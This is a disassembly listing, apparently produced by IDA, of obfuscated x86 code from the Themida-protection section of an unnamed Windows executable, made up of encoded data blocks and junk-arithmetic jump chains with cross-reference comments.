db 1Eh, 2 dup(0FFh)
byte_511EBB db 66h ; DATA XREF: Themida_:00502918o
dd 0E924248Bh, 0FFFF0C07h, 9D72E0B9h, 531BE92Fh, 0CB890000h
dd 245C0159h, 2434FF04h, 0E089505Bh, 635BBE56h, 0C681585Fh
dd 62DA0D6Ch, 70C3F681h, 0F001BB39h, 4B9515Eh, 0E9000000h
dd 0FFFF541Fh, 31243433h, 34332434h, 24248B24h, 0FF0BBEE9h
dd 2EEA81FFh, 4234C13Dh, 7E7168h, 1F3AE900h, 0E955FFFFh
dd 0FFFF7F4Bh, 0BD242C89h, 0DB0215Eh, 0DEA3C581h, 0EF29F24Fh
dd 0ECEF815Dh, 17FE5BFh, 14875FFAh, 4FE5C24h, 80E99C24h
dd 89FFFF0Bh, 41B5240Ch, 0DDF6C5FEh, 0E901ED80h, 0FFFF2183h
; ---------------------------------------------------------------------------
loc_511F5C: ; CODE XREF: Themida_:0050EA6Fj
push dword ptr [esp]
pop edx
push esi
mov esi, esp
add esi, 4
jmp loc_5139F4
; ---------------------------------------------------------------------------
loc_511F6E: ; CODE XREF: Themida_:00515D53j
sub bl, ah
sub bl, 9Ah
jmp loc_502F18
; ---------------------------------------------------------------------------
loc_511F78: ; CODE XREF: Themida_:00512D28j
add esp, 4
push edi
mov edi, 4
add edx, 38F31491h
jmp loc_50AF03
; ---------------------------------------------------------------------------
loc_511F8C: ; CODE XREF: Themida_:00506457j
mov eax, esp
add eax, 4
add eax, 4
push eax
push dword ptr [esp+4]
jmp loc_5164CC
; ---------------------------------------------------------------------------
dw 0F757h
dd 0C15F241Ch, 0EF8104EFh, 0E7DF875h, 57276850h, 485808A4h
dd 0BAFBE56h, 0F001568Bh, 59DBE95Eh, 51660000h, 0AFDE99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_511FCE: ; CODE XREF: Themida_:005133DCj
mov edi, esp
add edi, 4
sub edi, 4
jmp loc_5046C8
; ---------------------------------------------------------------------------
db 8Fh, 4, 24h
dd 8924248Bh, 0DCE9240Ch, 0FFFFFF0Ah, 835E2434h, 61E904C4h
db 34h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_511FFB: ; CODE XREF: Themida_:0050B98Ej
sub esp, 4
mov [esp], edx
mov edx, 41B31002h
sub edx, 3E5C2754h
xor edx, 410B73EBh
sub edx, 3F2600A9h
sub edx, 0A5EE6636h
add ecx, edx
pop edx
add ecx, ebx
jmp loc_5074B8
; ---------------------------------------------------------------------------
byte_51202B db 0FFh ; DATA XREF: Themida_:00502830o
dd 148B2434h, 2C76E924h, 0C89FFFFh, 0CF0E924h, 0E901FFFFh
dd 209EE981h, 0C1810D6Ch, 1BD74B95h, 5D2434FFh, 5E08950h
dd 4, 26DE9h, 5BDF3100h, 56FFC783h, 7697B951h, 0D1F73DFCh
dd 7AE6F181h, 0E98168B8h, 667E1B66h, 0C1814149h, 38645DB9h
dd 8159CE89h, 0C71F4ACEh, 5246465Ah, 994099BAh, 6DC6E95Ah
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_512096: ; CODE XREF: Themida_:00517134j
shr ebx, 3
jmp loc_50EC6C
; ---------------------------------------------------------------------------
dw 0C181h
dd 6952519Bh, 0E1D1D1F7h, 0F181D1F7h, 0D0D6939h, 0B948E981h
dd 0C6813FD9h, 27DB6681h, 0EE81CE01h, 27DB6681h, 0FF1D30E9h
dd 4C483FFh, 4C781h, 56680000h, 8900004Fh, 2BE2434h, 81000000h
dd 0EF5A28C7h, 57BE563Ch, 1146329h, 4D0DE9F7h, 48F0000h
dd 0CE55E924h, 0E689FFFFh, 0FF8ECDE9h, 1A392DFFh, 0C8015672h
dd 721A3905h, 0D0F75956h, 2D05E0C1h, 1, 2E0C148h, 0FF7081E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_512121: ; CODE XREF: Themida_:0050887Bj
add esp, 4
push edx
jmp loc_50C0D1
; ---------------------------------------------------------------------------
loc_51212D: ; CODE XREF: Themida_:005053A8j
push edi
jmp loc_504B95
; ---------------------------------------------------------------------------
loc_512133: ; CODE XREF: Themida_:00516D4Bj
push ebp
jmp loc_50997B
; ---------------------------------------------------------------------------
db 53h, 89h, 0E3h
dd 4C381h, 0C3810000h, 4, 5C241C87h, 0FFE5D2E9h, 5FEA81FFh
dd 174B46Dh, 5FC281FAh, 5574B46Dh, 0FA6DF0BDh, 0E9EA2936h
dd 0FFFFE000h
; ---------------------------------------------------------------------------
loc_51216C: ; CODE XREF: Themida_:005112BEj
mov eax, ebx
pop ebx
jmp loc_5154E8
; ---------------------------------------------------------------------------
dd 8904EC83h, 0E0BA2414h, 0C149F351h, 0F28105E2h, 1C5A3C59h
dd 1553F281h, 0F2815832h, 8187A0D3h, 895AD701h, 2434FFFDh
dd 0E9243C8Bh, 25FDh, 83240489h, 0E95404ECh, 0FFFF5EFEh
; ---------------------------------------------------------------------------
loc_5121B0: ; CODE XREF: Themida_:0050380Cj
push edi
sub esp, 4
mov [esp], eax
mov eax, 7BC516F3h
and eax, 0FDF1495h
not eax
sub eax, 0DE94DE07h
mov edi, eax
pop eax
push edi
jmp loc_5085D0
; ---------------------------------------------------------------------------
loc_5121D1: ; CODE XREF: Themida_:00503409j
sub ecx, 41E808CDh
sub ecx, 36F869E3h
add ecx, edi
add ecx, 36F869E3h
push eax
mov eax, 10ED5E91h
jmp loc_50611F
; ---------------------------------------------------------------------------
dd 0E9F9015Eh, 0FFFF3AEDh, 0FF08CEE9h, 37B850FFh, 0E91B8D6Fh
dd 0FFFF3800h, 6653555Ah, 0E9613DBBh, 3C62h
; ---------------------------------------------------------------------------
loc_512214: ; CODE XREF: Themida_:00509AC7j
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
push dword ptr [edi+eax*4]
mov eax, [esp]
push ebx
mov ebx, esp
sub esp, 4
mov [esp], edi
jmp loc_50A86A
; ---------------------------------------------------------------------------
db 0B7h, 1Ah, 0
dd 3B06E9F8h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_51223E: ; CODE XREF: Themida_:0050C5A8j
mov esp, [esp]
add esp, 4
push ebp
jmp loc_50BB95
; ---------------------------------------------------------------------------
dw 0D501h
dd 0FF5FBEE9h, 14F766FFh, 0C8B6624h, 2C48124h, 0E9000000h
dd 0FFFFF7F7h, 1BB05053h, 0C30051B3h, 0EDEEE958h, 34FFFFFFh
dd 2434FF24h, 4C4815Bh, 83000000h, 48F04C4h, 0BF575C24h
dd 4, 835FFD01h, 2C8702C5h, 1C24E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_51229A: ; CODE XREF: Themida_:00509994j
add ebp, 0E555F659h
add edx, ebp
pop ebp
sub ebx, 369C294Eh
sub ebx, edx
push esi
mov esi, 7E60041Fh
sub esi, 4ECC7596h
shr esi, 3
add esi, 30A9B77Dh
add ebx, esi
mov esi, [esp]
jmp loc_5038DB
; ---------------------------------------------------------------------------
dw 0C083h
dd 24043304h, 3046E9h, 0E6895600h, 4C681h, 0C6830000h
dd 24343304h, 33243431h, 815C2434h, 4ECh, 241C8900h, 42474FFh
dd 0E9241C8Bh, 0FFFF0A52h, 0CC26E95Ah, 0CE81FFFFh, 7DFE5160h
dd 0FF79A6E9h, 6858FFh, 81000000h, 6C88242Ch, 342910E3h
dd 24048124h, 10E36C88h, 0E924348Bh, 147h
; ---------------------------------------------------------------------------
loc_512330: ; CODE XREF: Themida_:0050B6F3j
mov eax, esp
add eax, 4
push 7D79h
mov [esp], ebx
mov ebx, 4
add eax, ebx
pop ebx
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
sub [esp], eax
push ebx
push 26311642h
pop ebx
jmp loc_50AE6E
; ---------------------------------------------------------------------------
dd 5C241487h, 0FF1984E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_512369: ; CODE XREF: Themida_:00516FBCj
push 0CC3h
jmp loc_504E86
; ---------------------------------------------------------------------------
loc_512373: ; CODE XREF: Themida_:00514DA8j
mov [esp], eax
push ebx
mov ebx, 12620E01h
mov eax, ebx
pop ebx
push eax
mov eax, 40B20806h
xor eax, 57840FD4h
neg eax
sub eax, 2A7A25DFh
inc eax
push ebp
mov ebp, 7A2E98AFh
add eax, ebp
pop ebp
mov ebp, eax
pop eax
sub ebp, 0B3B36B8h
add ebp, eax
jmp loc_5119A2
; ---------------------------------------------------------------------------
db 52h
dd 0F588C688h, 59EE885Ah, 8324048Bh, 0C8B04C4h, 5ECE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5123C2: ; CODE XREF: Themida_:00506876j
push 1986h
mov [esp], esi
mov esi, esp
add esi, 4
push edi
push ecx
mov ecx, 57DE4B2Eh
mov edi, ecx
pop ecx
push 6FEAh
mov [esp], ebx
jmp loc_514BBB
; ---------------------------------------------------------------------------
byte_5123E9 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00502A14o
aQhq db '$Qhï',7,0
dw 8900h
dd 50552424h, 4B8h, 0AA4AE900h, 0C4E9FFFFh, 5BFFFF06h
dd 8EDC166h, 66DDF766h, 377ECD81h, 0FFB303E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_512419: ; CODE XREF: Themida_:00504467j
push 5FEFh
mov [esp], edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
jmp loc_50610A
; ---------------------------------------------------------------------------
db 66h, 89h, 14h
dd 421B224h, 66D000B7h, 28B7B353h, 1C8B66D8h, 2C48324h
dd 4337E9h, 0D0315B00h, 25EF815Ah, 29331933h, 25C781C7h
dd 0E9331933h, 0FFFF73EAh, 3DFC68h, 24148900h, 0AFE90AB6h
dd 51FFFFC4h, 0ACE9E189h, 89FFFFCEh, 24348BF7h, 5104C483h
dd 0FF897CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_51248D: ; CODE XREF: Themida_:0050819Dj
add edx, 0ED83CB6h
add edx, eax
sub edx, 0ED83CB6h
push ecx
mov ecx, 60455969h
sub edx, ecx
pop ecx
jmp loc_502ACB
; ---------------------------------------------------------------------------
db 88h, 0EFh, 59h
dd 0EC80CEB4h, 125CE965h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5124B6: ; CODE XREF: Themida_:00511227j
add ebp, edx
sub ebp, 132D3D55h
mov edx, [esp]
sub esp, 4
jmp loc_51750F
; ---------------------------------------------------------------------------
dd 0E95DE889h, 0FFFF5BB4h
; ---------------------------------------------------------------------------
loc_5124D4: ; CODE XREF: Themida_:005108E6j
push ecx
mov cl, 0DEh
push ebx
mov bl, 0F3h
mov al, bl
pop ebx
sub al, cl
mov ecx, [esp]
add esp, 4
mov dh, 0C2h
xor dh, al
jmp loc_50A875
; ---------------------------------------------------------------------------
db 0BBh, 3Ch, 0A6h
dd 0DE31BCBAh, 0FF3D78E9h, 268FFh, 34FF0000h, 0E9565924h
dd 0FFFFCCD9h, 1E9D830h
db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_512513: ; CODE XREF: Themida_:00512D64j
xchg ecx, [esp]
pop esp
mov [esp], esp
add dword ptr [esp], 4
pop ecx
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
push edi
mov edi, esp
push ebp
jmp loc_517855
; ---------------------------------------------------------------------------
loc_51253B: ; CODE XREF: Themida_:0050A13Dj
pop esi
jmp loc_509398
; ---------------------------------------------------------------------------
db 83h, 0ECh, 4
dd 0BE243489h, 4B7E751Fh, 44BBEE81h, 0D6F70BB1h, 3C97B951h
dd 9FE97CA3h
db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_51255F: ; CODE XREF: Themida_:0050AB57j
add esp, 2
xor al, cl
mov ecx, [esp]
push ebp
mov ebp, esp
push 5F3Eh
mov [esp], edx
mov edx, 4
jmp loc_511221
; ---------------------------------------------------------------------------
db 0BFh
dd 74067BE5h, 2DFC8CB9h, 5FF901E4h, 5098B9BAh, 355BE91Bh
dd 0DA010000h, 242C8B5Bh, 4C481h, 14330000h, 24143124h
dd 8B241433h, 4302424h, 14E99C24h, 89FFFF05h, 4C181E1h
dd 81000000h, 4E9h, 240C8700h, 0FF3662E9h, 4EC780FFh, 0E95BFD30h
dd 0FFFFF421h, 5F2434FFh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_513522
; ---------------------------------------------------------------------------
loc_5125E4: ; CODE XREF: Themida_:0051350Aj
mov edx, 1
jmp loc_50E4FD
; ---------------------------------------------------------------------------
loc_5125EE: ; CODE XREF: Themida_:00507F7Ej
push dword ptr [esp]
pop ecx
jmp loc_5135E6
; ---------------------------------------------------------------------------
loc_5125F7: ; CODE XREF: Themida_:0050D087j
add ebp, ecx
pop ecx
jmp loc_50C04A
; ---------------------------------------------------------------------------
db 1
dd 4EC83D8h, 0BD242C89h, 2F731130h, 0FFD680E9h, 0F5C181FFh
dd 293C001Ah, 0F5E981C1h, 583C001Ah, 34FFCD31h, 39C9E924h
dd 8150FFFFh, 4ECh, 241C8900h, 0D868D388h, 8900003Bh, 0DE882414h
dd 148BF488h, 4C48324h, 58E7885Bh, 8124148Bh, 4C4h, 37C6E900h
dd 0C481FFFFh, 4, 0FF1867E9h, 4C483FFh, 0FF5D20E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_51266D: ; CODE XREF: Themida_:00511931j
pop ebp
sub ecx, 575DFC9Fh
add ecx, 0E4FEF9A0h
add ebp, ecx
jmp loc_514037
; ---------------------------------------------------------------------------
db 5Bh, 0E9h, 1Ch
dd 58000016h, 58276852h, 0E95A2B12h, 0FFFFCBD5h
; ---------------------------------------------------------------------------
loc_512694: ; CODE XREF: Themida_:00506601j
pop ecx
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
push ecx
not dword ptr [esp]
pop ecx
not ecx
sub ecx, 6EA34B5h
mov edi, ecx
pop ecx
add edx, edi
pop edi
jmp loc_511190
; ---------------------------------------------------------------------------
loc_5126C0: ; CODE XREF: Themida_:00511D17j
pop esi
sub edx, ebp
pop ebp
add edx, 6BE3319Dh
push ebp
mov ebp, 326B6299h
and ebp, 2CCE26B2h
add ebp, 7CCA5D6Ch
jmp loc_50625A
; ---------------------------------------------------------------------------
loc_5126E1: ; CODE XREF: Themida_:0050EFFCj
push edi
jmp loc_5065F8
; ---------------------------------------------------------------------------
db 50h
dd 0D4576D68h, 0FF2D583Bh, 35FFFFFFh, 3BD4576Ah, 8158C389h
dd 3F14B2EAh, 0B40EE906h, 0C731FFFFh, 14F75758h, 0C7815F24h
dd 59E529B6h, 0FFCEDBE9h, 4EB83FFh, 5C241C87h, 68240489h
dd 6A8D0DC4h, 5224048Bh, 0C2815A54h, 4, 8704C283h, 55C2414h
dd 0E0E7FD50h, 5558C289h, 0FFA546E9h, 0E95551FFh, 0FFFF7519h
; ---------------------------------------------------------------------------
loc_512750: ; CODE XREF: Themida_:005084B2j
pop esp
jmp loc_506E1D
; ---------------------------------------------------------------------------
dw 5866h
dd 0C380C328h, 0CE9584Ch, 55FFFFAFh, 6E046857h, 505F70D4h
dd 0AA7763B8h, 6B46E910h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_512776: ; CODE XREF: Themida_:00513284j
add eax, esi
mov esi, [esp]
add esp, 4
add eax, 3E1923FCh
jmp loc_508439
; ---------------------------------------------------------------------------
dd 0EEEA8166h, 0D02966CEh, 0FFD06DE9h, 56762DFFh, 565B3B0Bh
dd 5E64ADBEh, 0E9F0317Ah, 0FFFF53EAh
dword_5127A8 dd 24048B66h, 2034E9h, 0E3895300h, 4B850h, 0EB810000h
; DATA XREF: Themida_:005029F0o
dd 228726ECh, 0C381C301h, 228726ECh, 4C38358h, 8904EC83h
dd 74FF241Ch, 8F5B0424h, 0F3E92404h
db 21h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5127DF: ; CODE XREF: Themida_:0050E387j
push 122B5919h
pop ecx
add ecx, 0EDD4A6EBh
sub edx, 6BCD5128h
add edx, ecx
add edx, 6BCD5128h
jmp loc_509D4E
; ---------------------------------------------------------------------------
dw 48Bh
dd 4C48324h, 3F93E9h
db 0
; ---------------------------------------------------------------------------
loc_512809: ; CODE XREF: Themida_:00504A5Cj
shr ebx, 5
shl ebx, 7
xor ebx, 38F6AD35h
mov ecx, 0CB14D845h
sub ecx, ebx
pop ebx
not ecx
add ecx, 852DB2E7h
xor esi, ecx
pop ecx
or esi, 70805F1Ch
push edi
push eax
mov eax, 884D8067h
jmp loc_516055
; ---------------------------------------------------------------------------
loc_51283A: ; CODE XREF: Themida_:0050AAD7j
mov [esp], ebx
push 5F0Dh
jmp loc_508C7A
; ---------------------------------------------------------------------------
db 29h
dd 3175E9F7h, 0E9530000h, 0FFFFE9AAh, 4C681h, 34330000h
dd 24343124h, 0FF353CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_512865: ; CODE XREF: Themida_:00511DA3j
pop ebx
sub esp, 4
mov [esp], ecx
jmp loc_5108A0
; ---------------------------------------------------------------------------
loc_512874: ; CODE XREF: Themida_:005086B4j
push eax
mov eax, 5D546B00h
jmp loc_50AC69
; ---------------------------------------------------------------------------
db 5Fh
dd 0C105E0C1h, 0BB5305E8h, 254D3B95h, 5008EBC1h, 0C5D62BB8h
dd 0E9C30107h, 0FFFFB72Bh
; ---------------------------------------------------------------------------
loc_51289C: ; CODE XREF: Themida_:0050D717j
xchg esi, [esp]
pop esp
jmp loc_51526E
; ---------------------------------------------------------------------------
db 0E9h, 21h, 2
dd 0DE31FFFFh, 0E9F1295Bh, 0FFFFF93Ch, 4C381h, 0C3810000h
dd 4, 1B00E9h, 4C28100h, 81000000h, 4C2h, 24148700h, 3B84E95Ch
dd 0BE560000h, 649C630Ch, 15EF329h, 0CC381F3h, 8B649C63h
dd 0C4812434h, 4, 31241C33h, 1C33241Ch, 4C36E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_512902: ; CODE XREF: Themida_:0050BB77j
push ebx
push ebx
jmp loc_505066
; ---------------------------------------------------------------------------
loc_512909: ; CODE XREF: Themida_:0050E49Fj
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
jmp loc_50B446
; ---------------------------------------------------------------------------
dd 8704E883h, 6EE92404h
db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_512923: ; CODE XREF: Themida_:0051034Bj
sub esp, 4
jmp loc_502B49
; ---------------------------------------------------------------------------
dw 0C681h
dd 4, 3302EE83h, 21E92434h, 5DFFFFC2h, 4C481h, 1D680000h
dd 89000073h, 0E9552404h, 0FFFFF35Ah, 246C8166h, 66762702h
dd 0E9240C8Bh, 0FFFF9008h
; ---------------------------------------------------------------------------
loc_512964: ; CODE XREF: Themida_:0050FD20j
add eax, 4
add eax, 4
jmp loc_5159F0
; ---------------------------------------------------------------------------
loc_512971: ; CODE XREF: Themida_:00505D94j
mov [esp], ebx
mov ebx, 3F7A0F09h
xor esi, ebx
mov ebx, [esp]
add esp, 4
and eax, esi
mov esi, [esp]
add esp, 4
jmp loc_505599
; ---------------------------------------------------------------------------
db 0E9h, 35h, 1
dd 0C89FFFFh, 1691B924h, 0A6BE497Dh, 0E9EF385Dh, 0FFFF8FA9h
dd 0ED8AE95Ah, 0C481FFFFh, 4, 0F564E951h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5129BA: ; CODE XREF: Themida_:005136D2j
mov [esp], ecx
mov ecx, esp
jmp loc_512AD2
; ---------------------------------------------------------------------------
dd 89242C89h, 4EC81E5h, 89000000h, 4CBE2434h, 503F9068h
dd 651592B8h, 34C9E914h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5129E2: ; CODE XREF: Themida_:00516B5Fj
sub eax, 61B96FB9h
push edi
push eax
push edi
mov edi, 27A44B41h
push 6274h
mov [esp], eax
mov eax, 44E6BA53h
add edi, eax
pop eax
push edi
sub dword ptr [esp], 67BB3C9Ch
pop eax
add eax, 67BB3C9Ch
pop edi
shr eax, 5
xor eax, 2AA85E1Ch
jmp loc_50AEFC
; ---------------------------------------------------------------------------
loc_512A1B: ; CODE XREF: Themida_:00512BB1j
mov [esp], ebp
mov ebp, esp
push esi
mov esi, 2A8514E0h
jmp loc_5089E1
; ---------------------------------------------------------------------------
db 52h
dd 0FF08BEE9h, 53C2FEFFh, 0FF474CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_512A39: ; CODE XREF: Themida_:00517B14j
add esi, 4
add esi, 4
jmp loc_5108CC
; ---------------------------------------------------------------------------
loc_512A4A: ; CODE XREF: Themida_:0050AA3Cj
mov eax, 10AC4EAEh
jmp loc_509A25
; ---------------------------------------------------------------------------
loc_512A54: ; CODE XREF: Themida_:00503EA9j
push dword ptr [esp]
push dword ptr [esp]
jmp loc_509A16
; ---------------------------------------------------------------------------
db 5Fh
dd 8704C583h, 248B242Ch, 41B96824h, 1C890000h, 1C8B5424h
dd 4C48324h, 0FF4543E9h, 4C383FFh, 5C241C87h, 4C481h, 9D610000h
dd 4E70E9h
db 0
; ---------------------------------------------------------------------------
loc_512A91: ; CODE XREF: Themida_:00516046j
xchg esi, [esp]
pop esp
jmp loc_5045EF
; ---------------------------------------------------------------------------
dw 8166h
dd 0E9C342C5h, 44F3h, 5B67512Dh, 51F80169h, 5B6751B9h
dd 0B69BE969h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_512AB6: ; CODE XREF: Themida_:005143EEj
add eax, 56DD3279h
add eax, 67CA690Eh
add eax, 1D2D4B47h
mov esi, [esp]
jmp loc_513DCA
; ---------------------------------------------------------------------------
loc_512ACD: ; CODE XREF: Themida_:00517AAEj
jmp loc_502ACB
; ---------------------------------------------------------------------------
loc_512AD2: ; CODE XREF: Themida_:005129BFj
add ecx, 4
push esi
mov esi, 4
jmp loc_5132B2
; ---------------------------------------------------------------------------
db 53h
dd 7657B5BBh, 8BD9213Ah, 0C481241Ch, 4, 78BE5655h, 813B145Fh
dd 0A26702F6h, 0A1E3E945h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_512B06: ; CODE XREF: Themida_:00508162j
push esp
jmp loc_515C31
; ---------------------------------------------------------------------------
dd 4074355Ah, 0C58959FBh, 0FFB123E9h, 92F381FFh, 0E90FD902h
dd 0FFFFD75Dh, 89240489h, 405E0h, 14E90000h, 81FFFFDCh
dd 0FE39F7CEh, 6E6C155h, 0FF2DFCE9h, 243C87FFh, 8924248Bh
dd 0E389241Ch, 4BF57h, 0FB010000h, 4C3835Fh, 2474FF53h
dd 0A3B7E904h, 0C481FFFFh, 4, 34FF5453h, 241C8B24h, 4C481h
dd 0C4810000h, 4, 0FF1F7BE9h, 24248BFFh, 0E924048Fh, 0AD8h
; ---------------------------------------------------------------------------
loc_512B8C: ; CODE XREF: Themida_:00517730j
neg edi
inc edi
inc edi
jmp loc_504225
; ---------------------------------------------------------------------------
loc_512B95: ; CODE XREF: Themida_:00503F34j
push ebx
mov ebx, 800h
mov eax, ebx
jmp loc_50CC5C
; ---------------------------------------------------------------------------
loc_512BA2: ; CODE XREF: Themida_:0050DC93j
mov ecx, [esp]
add esp, 4
xchg edx, [esp]
mov esp, [esp]
sub esp, 4
jmp loc_512A1B
; ---------------------------------------------------------------------------
loc_512BB6: ; CODE XREF: Themida_:00512F7Bj
push dword ptr [esp+4]
jmp loc_503D86
; ---------------------------------------------------------------------------
db 0FFh
dd 59042474h, 8B24048Fh, 0FF662424h, 0E99C240Ch, 0FFFEFEF7h
dd 405h, 40500h, 4870000h, 24248B24h, 5C241487h, 81240489h
dd 51E5242Ch, 478F7D5Dh, 40478140h, 7D5D51E5h, 0E92434FFh
dd 0FFFF8739h
dword_512C04 dd 41D7E9ACh, 8B2DFFFFh, 0E977C170h, 0FFFFB4FAh
; DATA XREF: Themida_:00502A78o
; ---------------------------------------------------------------------------
loc_512C14: ; CODE XREF: Themida_:0050D530j
add eax, 8A7CE37Fh
add ecx, eax
pop eax
push eax
mov eax, 4
add ecx, eax
pop eax
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
mov esp, [esp]
xor eax, 386D1D2Fh
push dword ptr [esp]
pop esi
sub esp, 4
jmp loc_507AAA
; ---------------------------------------------------------------------------
dw 0E281h
dd 58343AE8h, 71BAF281h, 0F2813929h, 31096936h, 4DE9D001h
db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_512C5B: ; CODE XREF: Themida_:00513516j
pop ebx
or eax, 5E5E1B45h
inc eax
sub eax, 7E5F7FB2h
add eax, edi
push edx
mov edx, 6A9A4552h
xchg ebp, edx
dec ebp
jmp loc_51785F
; ---------------------------------------------------------------------------
db 89h
dd 0CF88241Ch, 1877C88h, 0E9241C8Bh, 0FFFF92FCh
; ---------------------------------------------------------------------------
loc_512C88: ; CODE XREF: Themida_:00507CA6j
inc ebp
shr ebp, 8
jmp loc_50FC79
; ---------------------------------------------------------------------------
db 81h, 0C6h, 4
dd 81000000h, 4C6h, 24348700h, 0BCE8E95Ch, 8952FFFFh, 4C281E2h
dd 81000000h, 4EAh, 24148700h, 2434895Ch, 71685E54h, 8900005Bh
dd 4B82404h, 1000000h, 24048BC6h, 0FF1891E9h, 190BBFFh
dd 0DF0105B0h, 47CBE95Bh, 8951FFFFh, 4C181E1h, 81000000h
dd 4C1h, 0DD6AE900h, 0E95AFFFFh, 0FFFF7B68h
; ---------------------------------------------------------------------------
loc_512CFC: ; CODE XREF: Themida_:00503CE8j
push 695Ch
mov [esp], eax
mov eax, 2E980ED4h
jmp loc_50631E
; ---------------------------------------------------------------------------
dw 0C581h
dd 2C9114EDh, 56EC581h, 0E80157A6h, 4C0835Dh, 0FF2CEEE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_512D25: ; CODE XREF: Themida_:00507C15j
mov ebx, [esp]
jmp loc_511F78
; ---------------------------------------------------------------------------
db 8Bh, 0Ch, 24h
dd 4C481h, 0E9510000h, 0FFFFB373h, 0D387DA29h, 57F3815Ah
dd 29B57BFEh, 7F3FE9DAh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_512D4E: ; CODE XREF: Themida_:0050D997j
push dword ptr [esp]
mov esi, [esp]
push ecx
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
jmp loc_512513
; ---------------------------------------------------------------------------
db 1, 0EFh, 81h
dd 98636FC7h, 2434FF10h, 0FF9620E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_512D79: ; CODE XREF: Themida_:0050DD00j
add ebx, 29924F1h
mov edx, [esp]
add esp, 4
jmp loc_51073A
; ---------------------------------------------------------------------------
dw 2D68h
dd 0E9000069h, 0FFFF75A2h
; ---------------------------------------------------------------------------
loc_512D94: ; CODE XREF: Themida_:00503AD7j
sub bh, 95h
pop edx
sub bh, ch
sub bh, 26h
add bh, 0E3h
jmp loc_50E969
; ---------------------------------------------------------------------------
db 1, 0F3h, 5Eh
dd 8B241C87h, 4012424h, 14E99C24h, 59FFFEFDh, 5C24048Fh
dd 0FF2AB4E9h, 80E328FFh, 2E96DEBh, 58FFFF43h, 0A0E9C329h
dd 2CFFFFEDh, 0E1CE99Bh, 0D7890000h, 0E2C1815Ah, 105C23Eh
dd 0E2E981F9h, 0E905C23Eh, 0FFFF3093h
; ---------------------------------------------------------------------------
loc_512DF0: ; CODE XREF: Themida_:005054DEj
pop esp
xor al, dh
mov edx, [esp]
jmp loc_50CB05
; ---------------------------------------------------------------------------
db 81h
dd 4ECh, 24048900h, 4EF2E9h
db 0
byte_512E09 db 66h, 31h, 34h ; DATA XREF: Themida_:00502A00o
dd 34336624h, 34316624h, 0BC686624h, 73ECE953h, 0C801FFFFh
dd 24043359h, 33240431h, 14E92404h
db 8Ch, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_512E2F: ; CODE XREF: Themida_:00504FFDj
pop edi
push 7767h
jmp loc_511E1F
; ---------------------------------------------------------------------------
dw 815Ch
dd 4ECh, 240C8900h, 0EC81D188h, 4, 0FFFE26E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_512E51: ; CODE XREF: Themida_:00508C13j
pop edi
and eax, ecx
push dword ptr [esp]
pop ecx
push ebx
jmp loc_505345
; ---------------------------------------------------------------------------
loc_512E5E: ; CODE XREF: Themida_:005158D4j
push eax
jmp loc_5171A7
; ---------------------------------------------------------------------------
aSc_0 db '^éæ%',0
align 2
loc_512E6A: ; CODE XREF: Themida_:00505E53j
and eax, edx
pop edx
or eax, eax
jz loc_50F184
push dword ptr [edi+28h]
push ecx
mov ecx, 5B897DADh
xor [esp+4], ecx
push dword ptr [esp]
jmp loc_5066B3
; ---------------------------------------------------------------------------
dw 0B951h
dd 0EB1449Eh, 0FFE909E9h, 240C8BFFh, 0FFB63BE9h, 32E953FFh
dd 81FFFFFEh, 3E357BF3h, 8BD80102h, 0EC83241Ch, 24148904h
dd 0C2815A54h, 4, 4D6FE9h, 7AE95100h, 81FFFFDAh, 4ECh
dd 240C8900h, 366D95B9h, 7EC18144h, 0F71759DAh, 50E955D1h
db 61h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_512EE3: ; CODE XREF: Themida_:00503860j
sub edx, 6907555h
xor edx, 99B43C1Ah
jmp loc_502F1F
; ---------------------------------------------------------------------------
dd 5424248Bh, 5524048Fh, 0FF01E3E9h, 4C481FFh, 0E9000000h
dd 4AB8h, 1408EA81h, 3C8B5629h, 4C48124h, 0E9000000h, 0FFFEFBABh
dd 58E70859h, 0E901EF80h, 0FFFF29EFh
; ---------------------------------------------------------------------------
loc_512F2C: ; CODE XREF: Themida_:0051690Bj
push ebp
push ebx
mov ebx, 462A5092h
xor ebx, 0C065D61h
and ebx, 6D356497h
not ebx
sub ebx, 66F10E9h
not ebx
sub ebx, 0F370AC1Bh
